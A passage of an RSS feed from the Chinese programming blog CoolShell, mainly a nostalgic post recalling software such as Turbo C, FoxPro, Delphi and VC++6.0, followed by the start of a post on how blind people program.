href=\"https://coolshell.cn/articles/5044.html\" class=\"wp_rp_title\">为什么Scrum不行？</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5625.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>66</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>那些曾伴我走过编程之路的软件</title>\n\t\t<link>https://coolshell.cn/articles/5576.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5576.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 14 Oct 2011 05:58:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Delphi]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JBuilder]]></category>\n\t\t<category><![CDATA[Turbo C]]></category>\n\t\t<category><![CDATA[Visual C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5576</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>收家的时候发现了一张VC++6.0的光盘，实然引发了我的怀旧情结。于是在微博上感叹了一下，看到一些朋友的回应，还有朋友提到了Turbo C 2.0，于是更回放大...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5576.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>收家的时候发现了一张VC++6.0的光盘，实然引发了我的怀旧情结。于是在<a href=\"http://weibo.com/1401880315/xsBMcbMVz\" target=\"_blank\">微博上感叹了一下</a>，看到一些朋友的回应，还有朋友提到了Turbo C 2.0，于是更回放大了我的怀旧情绪，让我回想了很多N年前伴我走过编程之路的软件。现在看下来，有些感叹，又有些可笑。感叹的是技术发展的变迁，可笑的是当时的一些想法。（Unix/Linux是在大四和毕业的时候接触的，虽然这是我的强项，但是这下面的编程这么多年来没什么变化，所以就不提了）<strong>注：图片较多，请稍等。</strong></p>\n<p>还记得第一次接触编程是在高中的时候，用中华学习机学Basic程序，后来到了大学，虽然学校的课程没有教Basic语言，但是DOS下有一个叫Quick Baisc的东西让我把高中时的知识又捡了回了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5578\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE.png\" alt=\"\" width=\"652\" height=\"338\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE.png 652w, https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-300x156.png 300w, https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-521x270.png 521w\" sizes=\"(max-width: 652px) 100vw, 652px\" /></p>\n<p style=\"text-align: left;\">大学里学的第一门语言是Pascal，所以，用的编程软件也就是Turbo Pascal，还记编译起来巨快无比，尤其是那个只有软盘和640K的基本内存的时代。</p>\n<p style=\"text-align: left;\"><span id=\"more-5576\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/05.turbo_.pascal.gif\" alt=\"\" width=\"559\" height=\"316\" /></p>\n<p style=\"text-align: left;\">在这里还需要提一点的是当时的一个学习打字指法的软件，TT，呵呵。还记得当时整日整夜的去机房练打字，练指法速度。还记得当时能打到38分就算是相当的NB了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/19.tt01.png\" alt=\"\" width=\"605\" height=\"336\" /></p>\n<p style=\"text-align: left;\">这是当时TT中的一个游戏，很好玩。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/19.tt02.png\" alt=\"\" width=\"605\" height=\"336\" /></p>\n<p style=\"text-align: left;\">然后开始学C语言，于是Turbo C 2.0成为了那个时代的经典，我还记得当时学校里的386电脑没有内存，没有硬盘，只有两个软驱，一个是3寸的，一个是5寸，而Turbo2.0的大小太大（2M多）所以，得把所有的头文件和lib文件放在3寸盘上，而主程序员放在5寸盘上，A盘和B盘同时来编译我的C程序，编译的时候，那叫一个慢啊，那是一个听着软驱咯吱咯吱的声音的时代。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/04.turbo_.c.2.0.png\" alt=\"\" width=\"576\" height=\"300\" /></p>\n<p style=\"text-align: left;\">后来，用Turbo C 的图形库在DOS下画各种菜单，按钮，被支持鼠标等等，非常欢乐。（注：那时能写一个支持鼠标的程序是相当拉风的）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/04.turbo_.c.png\" alt=\"\" width=\"511\" height=\"314\" /></p>\n<p style=\"text-align: left;\">当时，Turbo C还是不足开发企业级应用，企业级的MIS系统需要数据库的支持，Foxbase是当时在学校里学的第一个和数据库有关的东西，现在完全忘 了。我还记得foxbase是当时计算机水平考试里的一个很重要的一环。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5579\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/01.foxbase.jpg\" alt=\"\" width=\"500\" height=\"365\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/01.foxbase.jpg 500w, https://coolshell.cn/wp-content/uploads/2011/10/01.foxbase-300x219.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p style=\"text-align: left;\">foxbase很快就淘汰了，举而代之能开发企业级应用的是FoxPro，看到FoxPro的强大，尤其是对菜单，表单，按钮等的支持，当时觉得这是世界上最NB的编程工具了。还跟着老师开发了一些MIS系统。后来听老师说，他们给昆明车管所使用foxpro来管理昆明的自行车，因为数据量太大，FoxPro经常崩溃。这可能是我听说过最早的电子政府系统了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5580\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/02.foxprodos_25_desktop.jpg\" alt=\"\" width=\"614\" height=\"279\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/02.foxprodos_25_desktop.jpg 877w, https://coolshell.cn/wp-content/uploads/2011/10/02.foxprodos_25_desktop-300x136.jpg 300w\" sizes=\"(max-width: 614px) 100vw, 614px\" /></p>\n<p style=\"text-align: left;\">Win3.2/Win95下的Foxpro更不用说了，NB啊。当时的神器啊。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5581\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/03.visual.foxpro.jpg\" alt=\"\" width=\"616\" height=\"462\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/03.visual.foxpro.jpg 800w, https://coolshell.cn/wp-content/uploads/2011/10/03.visual.foxpro-300x225.jpg 300w\" sizes=\"(max-width: 616px) 100vw, 616px\" /></p>\n<p style=\"text-align: left;\">进入Win95图形界面时代Borland C++也是需要提一下的，只是当时学校没有C++的课程，所以完全不懂，而且因为Foxpro和其些如VB，Powerbuilder的RAD编程工具的泛滥，甚至觉得Borland C++和VC++完全没戏。呵呵。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5583\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/05.5.borland.c++.5.jpg\" alt=\"\" width=\"630\" height=\"474\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/05.5.borland.c++.5.jpg 700w, https://coolshell.cn/wp-content/uploads/2011/10/05.5.borland.c++.5-300x225.jpg 300w\" sizes=\"(max-width: 630px) 100vw, 630px\" /></p>\n<p style=\"text-align: left;\">PowerBuilder掀开了另一个企业级应用的时代，C/S结构。太强了，在大三大四的时候，在老师开的公司里用这个东西为丽江三合酒店，一个送水公司，还有云南省外事办公室开发过其MIS系统。使用PowerBuilder一直到2002年，交行总行国业务系统的前端，还有上海电信系统。今天还有人在用这个东西开发软件么？</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5585\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/06.Power_.builder.gif\" alt=\"\" width=\"590\" height=\"466\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/06.Power_.builder.gif 590w, https://coolshell.cn/wp-content/uploads/2011/10/06.Power_.builder-300x236.gif 300w\" sizes=\"(max-width: 590px) 100vw, 590px\" /></p>\n<p style=\"text-align: left;\">VB也是一个划时代的产品，不过好像从来都是一个编程初学者的玩具，当时我学过VB，感觉其把编程搞成了一个搭积木的过程。我在当时草草地使用了VB，因为那时出了一个叫VB killer的东西——Delphi。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5586\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/07.visual.basic_.png\" alt=\"\" width=\"500\" height=\"395\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/07.visual.basic_.png 500w, https://coolshell.cn/wp-content/uploads/2011/10/07.visual.basic_-300x237.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p style=\"text-align: left;\">Delphi的时代是相当生猛的一个时代，企业级开发，自带数据库，可以制作各咱小工具软件和网络软件，等等，到后来的Delphi7还支持多层结构和分布式，在Delphi的时代，我记得那时的狂热，网上有很多超NB的控件可以让你开发出相当炫的界面。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/11.Delphi00.jpg\" alt=\"\" width=\"400\" height=\"300\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/11.Delphi01.png\" alt=\"\" width=\"300\" height=\"242\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/11.delphi02.gif\" alt=\"\" width=\"576\" height=\"432\" /></p>\n<p style=\"text-align: left;\">还记得C++ Builder吗？搞得跟Delphi一模一样，但是编译的速度慢得实在是不行。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/10.borland.c++.builder01.jpg\" alt=\"\" width=\"640\" height=\"332\" /></p>\n<p style=\"text-align: left;\">VC++的时代应用是从北大的《Windows编程设计》一书发布时开始的，这才是真正的SDK编程。于是我开始喜欢使用VC++了。一直到今天。VC++6.0是一个经典，直到今天的VS2008，我还是要把热捷和界面搞成VC6.0的风格。呵呵。</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5611\" title=\"VC++ 6.0\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/vc6.start_.jpg\" alt=\"\" width=\"431\" height=\"331\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/vc6.start_.jpg 431w, https://coolshell.cn/wp-content/uploads/2011/10/vc6.start_-300x230.jpg 300w\" sizes=\"(max-width: 431px) 100vw, 431px\" /></p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5587\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/08.visual.c++.6.0.jpg\" alt=\"\" width=\"572\" height=\"391\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/08.visual.c++.6.0.jpg 572w, https://coolshell.cn/wp-content/uploads/2011/10/08.visual.c++.6.0-300x205.jpg 300w\" sizes=\"(max-width: 572px) 100vw, 572px\" /></p>\n<p style=\"text-align: left;\">刚参加工作的时候，单位里用Lotus Notes做办公自动化软件的平台，于是我学习了怎么在Notes下开发应用。后来还用这个玩意给一些银行开发过一些办公自动化流程的应用。我有一个同学相当痴迷于这个平台。现在看来，有点非主流了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5593\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/12.lotus_.notes_.gif\" alt=\"\" width=\"560\" height=\"420\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/12.lotus_.notes_.gif 800w, https://coolshell.cn/wp-content/uploads/2011/10/12.lotus_.notes_-300x225.gif 300w\" sizes=\"(max-width: 560px) 100vw, 560px\" /></p>\n<p style=\"text-align: left;\">在大三的时候，Java和WEB出现了，系上接到了一个项目，需要用HTML+Java的方式做一些在线的教学课件。但是，当时连一本HTML的书都没有，又上不了网，我只能在看一些盗版光盘里的HTML的文件的例子来学习。那时，基本上是用notepad来写HTML，这让我对HTML打下了非常扎实的基础。后来知道有一个叫HotDog的专门用来写HTML的软件，用了一段时间。</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5594\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/13.hotdog6w2kanim.gif\" alt=\"\" width=\"640\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/13.hotdog6w2kanim.gif 640w, https://coolshell.cn/wp-content/uploads/2011/10/13.hotdog6w2kanim-300x225.gif 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p style=\"text-align: left;\">但最终还是使用了微软的FrontPage多一些，直到Dreamweaver的出现。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5612\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/13.frontpage.gif\" alt=\"\" width=\"672\" height=\"504\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/13.frontpage.gif 800w, https://coolshell.cn/wp-content/uploads/2011/10/13.frontpage-300x225.gif 300w\" sizes=\"(max-width: 672px) 100vw, 672px\" /></p>\n<p style=\"text-align: left;\">当时的开发环境用的是NetScape，就是下面这点鸟样的东西了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/24.netscape.gif\" alt=\"\" width=\"560\" height=\"420\" /></p>\n<p style=\"text-align: left;\">在大三大四做那个操作系统的教学课件的时候，开发Java Applet的IDE主要是用Cafe，Java Workshop。当时用这些东西开发了一些Applet用来演示UNIX操作系统内存分配，进程调度，文件存储等算法的动画。还得了个大学生挑战者杯的鼓励奖。现在想想，如果当时有Flash的话，可能做这些演示动化就不用那么麻烦了。</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/16.visual.cafe_.01-1024x782.gif\" alt=\"\" width=\"574\" height=\"438\" /></p>\n<p style=\"text-align: left;\">总体来说，Java Workshop也不好用。还是更多的使用Cafe写Java程序。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5595\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/14.JavaWorkshopProject.gif\" alt=\"\" width=\"685\" height=\"453\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/14.JavaWorkshopProject.gif 856w, https://coolshell.cn/wp-content/uploads/2011/10/14.JavaWorkshopProject-300x198.gif 300w\" sizes=\"(max-width: 685px) 100vw, 685px\" /></p>\n<p style=\"text-align: left;\">毕业两年后在工作上因为要做IBM?Websphere上的应用，于是使用了IBM的Visual Age for Java，现在看来，这些IDE真是太土了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5596\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/15.visual.age_.for_.java_.gif\" alt=\"\" width=\"480\" height=\"387\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/15.visual.age_.for_.java_.gif 480w, https://coolshell.cn/wp-content/uploads/2011/10/15.visual.age_.for_.java_-300x241.gif 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" /></p>\n<p style=\"text-align: left;\">关于Java的开发工具还有两个东西，一个是Microsoft的J++，另一个是Borland的JBuilder。J++ 就像是一个笑话，非标准的，据我所知没有人用。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/09.visual.j++.gif\" alt=\"\" width=\"600\" height=\"449\" /></p>\n<p style=\"text-align: left;\">JBuilder流行了很多年，还得了很多奖，几乎成了Borland的最后一个支柱产品，不过当时因为我皈依Linux/C/C++了，所以，也就没有搞Java了，不过这个IDE还是相当的优秀。不知道现在还有没有人用。不过，现在的Java IDE被Eclipse 一统山河了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5614\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/17.JBuilder.jpeg\" alt=\"\" width=\"631\" height=\"473\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/17.JBuilder.jpeg 1024w, https://coolshell.cn/wp-content/uploads/2011/10/17.JBuilder-300x225.jpg 300w\" sizes=\"(max-width: 631px) 100vw, 631px\" /></p>\n<p style=\"text-align: left;\">好了，上面是一些关于编程方面的，还有一些比较经典的软件如下。</p>\n<p style=\"text-align: left;\">一个是汉字平台，香港金山公司的UC-DOS，和WPS，当时的我还纳闷，为什么香港人也用简体中文了。对此，我心中对祖国的热爱小小的升华了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5600\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/20.ucdos01.gif\" alt=\"\" width=\"500\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/20.ucdos01.gif 500w, https://coolshell.cn/wp-content/uploads/2011/10/20.ucdos01-300x225.gif 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>还有杀毒软件，KV300和kill<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5601\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/21.kv300.gif\" alt=\"\" width=\"561\" height=\"306\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/21.kv300.gif 561w, https://coolshell.cn/wp-content/uploads/2011/10/21.kv300-300x163.gif 300w\" sizes=\"(max-width: 561px) 100vw, 561px\" /></p>\n<p>帮朋友修电脑用得最多的就是PC Tools</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5602\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/22.pc_.tools_.jpg\" alt=\"\" width=\"584\" height=\"307\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/22.pc_.tools_.jpg 584w, https://coolshell.cn/wp-content/uploads/2011/10/22.pc_.tools_-300x157.jpg 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" /></p>\n<p>玩游戏的必备——FPE</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5603\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/23.fpe_.jpg\" alt=\"\" width=\"600\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/23.fpe_.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/10/23.fpe_-300x187.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p>有谁还记得这个看图软件——SEA？<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5605\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/24.SEA_.jpg\" alt=\"\" width=\"450\" height=\"358\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/24.SEA_.jpg 450w, https://coolshell.cn/wp-content/uploads/2011/10/24.SEA_-300x238.jpg 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></p>\n<p>Zmud——当时的网游戏。也是需要练级。在大四和刚工作头一年疯玩过Zmud，之后，对于今天的这些大量的网游没有什么兴趣了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5606\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/25.zmud_.jpg\" alt=\"\" width=\"662\" height=\"740\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/25.zmud_.jpg 662w, https://coolshell.cn/wp-content/uploads/2011/10/25.zmud_-268x300.jpg 268w\" sizes=\"(max-width: 662px) 100vw, 662px\" /></p>\n<p>还有当时用猫上网的年代，NetAnt成了下载软件的装机必备。下载速率平均只有3k-4kBps，这种生活是怎么过来的啊。哈。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5607\" title=\"那些曾伴我走过编程之路的软件\" src=\"https://coolshell.cn/wp-content/uploads/2011/10/26.netant.jpg\" alt=\"\" width=\"450\" height=\"308\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/10/26.netant.jpg 450w, https://coolshell.cn/wp-content/uploads/2011/10/26.netant-300x205.jpg 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></p>\n<p>相信你也有你自己的怀旧的故事，不妨分享一下。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/Liquid-150x150.jpg\" alt=\"流体力学的演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3421.html\" class=\"wp_rp_title\">流体力学的演示</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5576.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>157</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如果你看不见你还能编程吗？</title>\n\t\t<link>https://coolshell.cn/articles/5514.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5514.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 21 Sep 2011 00:26:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5514</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是个StackOverflow上的问题 How can you program if you&#8217;re blind? 。在看到这个问题的时候，我感到应...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5514.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5514.html\">如果你看不见你还能编程吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这是个StackOverflow上的问题 <a title=\"How can you program if you're blind?\" href=\"http://stackoverflow.com/questions/118984/how-can-you-program-if-youre-blind\" target=\"_blank\">How can you program if you&#8217;re blind?</a> 。在看到这个问题的时候，我感到应该不可能，但是我错了，这个问题的前两个答案让我深深地震憾了。</p>\n<p>第一个答案的回复人是<a href=\"http://stackoverflow.com/users/14744/jared\">Jared</a>（其在StackOverflow上的积分有将近14K），但是你能想得到他是一个盲人吗？他回复到——</p>\n<blockquote><p>我是一个完全失明的大学学生，我做过一些程序员的实习工作，所以我的回复基于我的这些经历。我使用Windows XP 和  <a href=\"http://freedomscientific.com/products/fs/jaws-product-page.asp\" rel=\"nofollow\">Jaws</a> 来为了读出屏幕上的内容。</p>\n<p>对于Java 编程，我使用eclipse这个强大的IDE。我使用SWT开发GUI。对于.NET编程，其使用Visual Studio 2005，使用Jaws可以非常容易地操作VS2005，而且其还有一些很不错的脚本来可容易地用来做表单设计。</p>\n<p>对于C/C++，我使用cygwin + gcc 也使用emacs 和 vim 做出编辑器（使用<a href=\"http://emacspeak.sourceforge.net/\" 